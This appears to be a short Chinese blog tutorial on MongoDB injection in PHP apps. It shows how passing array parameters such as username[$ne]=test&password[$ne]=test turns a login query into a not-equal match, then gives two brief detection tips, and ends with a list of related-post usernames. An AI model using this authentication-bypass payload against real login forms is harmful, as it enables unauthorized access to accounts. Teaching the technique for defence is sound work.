mongodb 注入攻防
1,数组注入
此时的攻击利用了php可以传递数组参数的一个特性。
当传入的url为:http://127.0.0.1/2.php?username=test&password=test
执行了语句:
db.test.find({username:'test',password:'test'});
如果此时传入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test
则$username就是一个数组,也就相当于执行了php语句:
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');
http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test
db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});
防御
1,不般正常情况不会有mongodb注入,检查时如有数组作为参数传入,则报警
2,mongo语句中有注释符合,则报警
相关推荐
敏敏张 2020-11-11
SCNUHB 2020-11-10
小木兮子 2020-11-11
wwwsurfphpseocom 2020-10-28
WasteLand 2020-10-18
Cocolada 2020-11-12
杜鲁门 2020-11-05
shirleypaddy 2020-10-19
qingmumu 2020-10-19
Testingba工作室 2020-09-15
周公周金桥 2020-09-13
专注前端开发 2020-08-16
emagtestage 2020-08-16
heniancheng 2020-08-15
hanjinixng00 2020-08-12
小方哥哥 2020-08-09
83327712 2020-07-30
卖小孩的咖啡 2020-07-21
wqiaofujiang 2020-07-05